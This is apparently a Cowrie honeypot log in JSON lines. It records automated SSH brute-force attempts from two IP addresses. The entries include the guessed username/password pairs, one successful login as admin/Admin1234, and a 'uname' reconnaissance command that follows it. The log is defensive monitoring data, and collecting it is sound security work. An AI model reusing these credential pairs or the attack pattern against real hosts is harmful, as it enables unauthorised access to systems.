{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:19.793407Z","src_ip":"91.92.40.36","session":"1fce1fea6e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":34734,"dst_ip":"10.17.0.5","dst_port":22,"session":"f934eccd5d93","protocol":"ssh","message":"New connection: 45.153.34.195:34734 (10.17.0.5:22) [session: f934eccd5d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:20.456009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:20.462441Z","src_ip":"45.153.34.195","session":"f934eccd5d93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:20.611969Z","src_ip":"45.153.34.195","session":"f934eccd5d93","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"csserver","password":"csserver","message":"login attempt [csserver/csserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:20.931294Z","src_ip":"45.153.34.195","session":"f934eccd5d93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:22.014360Z","src_ip":"45.153.34.195","session":"f934eccd5d93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":60484,"dst_ip":"159.203.135.109","dst_port":22,"session":"bf4573fa0cd3","protocol":"ssh","message":"New connection: 91.92.40.36:60484 (159.203.135.109:22) [session: bf4573fa0cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:22.952969Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42408,"dst_ip":"10.17.0.5","dst_port":22,"session":"96d6ab56c95b","protocol":"ssh","message":"New connection: 45.153.34.195:42408 (10.17.0.5:22) [session: 96d6ab56c95b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:23.303692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:23.388625Z","src_ip":"45.153.34.195","session":"96d6ab56c95b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:23.391940Z","src_ip":"45.153.34.195","session":"96d6ab56c95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"backup","password":"wasd","message":"login attempt [backup/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:23.722690Z","src_ip":"91.92.40.36","session":"4b4ad7f531d5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tfj","password":"tfj","message":"login attempt [tfj/tfj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:24.046339Z","src_ip":"45.153.34.195","session":"96d6ab56c95b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"shap","message":"login attempt [admin/shap] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:24.953088Z","src_ip":"91.92.40.36","session":"bac2ca050c6a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:25.215753Z","src_ip":"45.153.34.195","session":"96d6ab56c95b","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:25.286345Z","src_ip":"91.92.40.36","session":"bf4573fa0cd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:25.289640Z","src_ip":"91.92.40.36","session":"bf4573fa0cd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42412,"dst_ip":"10.17.0.5","dst_port":22,"session":"15738669c7a4","protocol":"ssh","message":"New connection: 45.153.34.195:42412 (10.17.0.5:22) [session: 15738669c7a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:26.304068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:26.317464Z","src_ip":"45.153.34.195","session":"15738669c7a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:26.386573Z","src_ip":"45.153.34.195","session":"15738669c7a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"avax","password":"avax","message":"login attempt [avax/avax] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:26.928614Z","src_ip":"45.153.34.195","session":"15738669c7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:28.019456Z","src_ip":"45.153.34.195","session":"15738669c7a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.5","message":"Connection lost after 18.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:28.403647Z","src_ip":"91.92.40.36","session":"4b4ad7f531d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"16.1","message":"Connection lost after 16.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:28.911346Z","src_ip":"91.92.40.36","session":"bac2ca050c6a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":42420,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e284e85b939","protocol":"ssh","message":"New connection: 45.153.34.195:42420 (10.17.0.5:22) [session: 7e284e85b939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:29.158987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:29.164121Z","src_ip":"45.153.34.195","session":"7e284e85b939","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:29.248961Z","src_ip":"45.153.34.195","session":"7e284e85b939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:29.514081Z","src_ip":"45.153.34.195","session":"7e284e85b939","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:30.598940Z","src_ip":"45.153.34.195","session":"7e284e85b939","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"wasd","message":"login attempt [elastic/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:30.648261Z","src_ip":"91.92.40.36","session":"1fce1fea6e0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52004,"dst_ip":"159.203.135.109","dst_port":22,"session":"750a687cecca","protocol":"ssh","message":"New connection: 91.92.40.36:52004 (159.203.135.109:22) [session: 750a687cecca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:31.609716Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52742,"dst_ip":"10.17.0.5","dst_port":22,"session":"459f934e78e9","protocol":"ssh","message":"New connection: 45.153.34.195:52742 (10.17.0.5:22) [session: 459f934e78e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:32.327279Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:32.333565Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:32.438105Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin1234","message":"login attempt [admin/Admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:32.686735Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:33.036644Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:33.039641Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:33.132245Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:33.137110Z","src_ip":"45.153.34.195","session":"459f934e78e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":52036,"dst_ip":"159.203.135.109","dst_port":22,"session":"438c61680b6a","protocol":"ssh","message":"New connection: 91.92.40.36:52036 (159.203.135.109:22) [session: 438c61680b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:33.686909Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":52750,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad928d1b9e96","protocol":"ssh","message":"New connection: 45.153.34.195:52750 (10.17.0.5:22) [session: ad928d1b9e96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.005445Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.027769Z","src_ip":"91.92.40.36","session":"750a687cecca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.191488Z","src_ip":"45.153.34.195","session":"ad928d1b9e96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T20:59:35.195150Z","src_ip":"45.153.34.195","session":"ad928d1b9e96","protocol":"ssh"}
